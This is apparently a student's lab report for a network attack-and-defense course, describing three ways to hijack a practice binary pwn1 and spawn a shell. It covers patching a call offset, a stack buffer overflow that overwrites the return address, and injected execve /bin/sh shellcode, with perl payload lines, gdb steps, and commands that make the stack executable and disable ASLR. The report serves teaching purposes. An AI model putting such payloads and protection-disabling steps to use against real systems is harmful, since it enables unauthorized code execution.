20252915时进旭 2025-2026-2 《网络攻防实践》第九周作业
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
二、简介方案
修改程序执行流程:
通过反汇编分析 pwn1程序,定位 main函数中调用 foo的指令,并计算其与 get Shell函数的地址偏移。使用十六进制编辑工具直接修改可执行文件中的调用目标地址,使程序在执行过程中跳过 foo函数,转而直接跳转到 getShell函数。该方法属于静态修改程序控制流,无需触发漏洞即可改变程序行为。
利用缓冲区溢出触发 getShell:
分析 foo函数的栈结构,确定输入缓冲区大小及返回地址在栈中的位置。构造超出缓冲区长度的恶意输入,覆盖函数的返回地址,将其篡改为 getShell函数的入口地址。当函数返回时,程序控制流被劫持,转而执行 getShell,从而获得一个交互式 Shell。该实验验证了栈溢出对程序控制流的破坏能力。
注入并执行自定义 Shellcode:
在关闭地址随机化(ASLR)的前提下,编写或选用一段可返回 Shell 的 Shellcode,并将其注入程序的输入缓冲区中。利用栈溢出漏洞覆盖返回地址,使其指向 Shellcode 所在的栈地址。通过构造合适的填充与返回地址,使程序最终执行注入的 Shellcode,实现对任意代码的运行控制,完整展示缓冲区溢出的实际危害。
三、实践过程
修改主机名:

2.1 直接修改程序机器指令,改变程序执行流程
将pwn1.zip下载解压修改文件名:
mv pwn1 pwn2052915

再利用objdump对pwn2052915进行反汇编:
objdump -d pwn2052915 | more

一直回车往下看,可以看到getShell函数、foo函数和main函数,发现main函数call了foo函数,修改该程序将调用的地址改为getShell函数的基地址即可改变程序的执行流程:

这个main函数调用了 foo函数,并且返回0表示成功结束。
main 函数中的 call 指令的结束地址为 0x080484ba,我们现在想让main函数调用getShell 函数而不是原来的foo函数,而getShell 函数的地址为0x0804847d。
先验证 call 指令的偏移量:0x08048491-0x080484ba=0xffffffd7和汇编代码中的机器码相同。
再计算 getShell 函数的偏移量:0x0804847d-0x080484ba=0xffffffc3
因此,我们将 main 函数中的 call 指令的偏移地址由0xffffffd7修改为 0xffffffc3,就可以调用 getShell 函数。
首先下载安装十六进制dump工具xxd,备份pwn2052915程序,防止修改过程出现错误,通过vim打开pwn20252915,进行修改:
sudo apt-get install xxd
查看文件:
vi pwn20252915


将显示模式切换成16进制模式:
:%!xxd

输入/d7ff,来查找目标位置:

先把d7ff修改为c3ff,再使用如下命令将数据转换为原格式,然后保存退出:

转换回原来的格式再保存,运行修改后的程序,发现拿到shell:
:%!xxd -r
:wq!
./pwn20252915

2.2 构造输入字符串覆盖返回地址,改变程序执行流
在main函数调用的foo函数中,仅给输入的数据分配了28字节(0x1c)的空间


gets(0x1c(%ebp)):从标准输入读取字符串到局部数组,gets()不检查缓冲区边界,会导致缓冲区溢出,分配的栈空间 56 字节,但gets会一直读取直到换行符,将刚才读入的字符串输出到屏幕。因此只要输入足够长,并将输入字符串的第33~36字节填入getShell函数的基地址(0804847d),即可让程序跳转到getShell函数。
进入调试模式:
sudo apt install gdb
gdb pwn20252915-2 (注意这里是未修改的那个复制文件)

进行验证:
r #启动程序,程序运行到gets()等待输入
876543218765432187654321876543211234

借助perl,先生成一个包含getShell函数首地址的文件,再通过管道让文件的内容成为pwn1的输入,拿到shell:
perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"' > input
"A" x 32:32个字节的填充数据
"\x7d\x84\x04\x08":目标函数地址0x0804847d
> input:把输出写入文件input

(cat input; cat) | ./pwn20252915-2

2.3 注入Shellcode并执行
下载安装execstack:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb


设置pwn20252915程序堆栈可执行,并进一步查询是否设置成功:
execstack -s pwn20252915-2 #设置允许在栈上执行代码
execstack -q pwn20252915-2 #查询文件的栈属性,以确定是否允许在栈上执行代码。如果输出中包含X,表示该文件允许在栈上执行代码;如果没有X,表示不允许。

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭:
more /proc/sys/kernel/randomize_va_space #查询是否关闭地址空间布局随机化(ASLR)。0:禁用 ASLR;1:启用 ASLR;2:启用更加激进的 ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space #将ASLR的级别设置为禁用

使用输出重定向将perl生成的字符串存储到input_20252915文件中:
perl -e 'print "A" x 32;print"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_20252915
(cat input_20252915 ;cat) | ./pwn20252915-2

上一个不要关,开另一个终端查看进程号
ps -ef | grep pwn20252915

gdb pwn20252915-2
attach 46442
disassemble foo
break *0x080484ae


在原进程中按回车后,再到gdb窗口输入c 继续运行。查看栈顶指针所在的位置为0xffffcf6c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70,是0xffffcf70:
info r esp
x/16x 0xffffcf6c

退出gbd调试,重新构造文件。并输入常见指令测试是否拿到shell:
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20252915
(cat input_20252915;cat) | ./pwn20252915-2

三、实验遇到问题
修改主机名操作时只发生在当前终端,切换终端要重新修改主机名,如果不注意会出现截图不一致(如上述最后一张图所示)。通常是因为只修改了临时主机名,而没有永久修改系统配置文件。
四、实践总结与体会
本次实验围绕Linux下的可执行文件 pwn1展开,通过三种方式实现了对程序原有执行流程的控制,深刻理解了程序运行机制与安全漏洞的本质。首先,通过手工修改可执行文件,直接改变跳转地址,使程序绕过正常流程进入getShell函数,直观感受到二进制文件执行路径的可控性;其次,利用foo 函数的缓冲区溢出漏洞,构造特定输入字符串覆盖返回地址,实现对程序控制流的劫持,验证了栈溢出在实际攻击中的可行性;最后,通过注入并运行自定义 shellcode,进一步掌握了如何在栈上布置恶意代码并执行,体会到代码注入攻击的完整过程。整个实践过程从静态修改到动态攻击,再到代码注入,层层递进,不仅加深了对函数调用栈、返回地址、程序执行流程等底层机制的理解,也让人清晰认识到缺乏边界检查和栈保护机制所带来的安全风险,为后续深入学习二进制安全、漏洞利用与防护打下了坚实基础。

浙公网安备 33010602011771号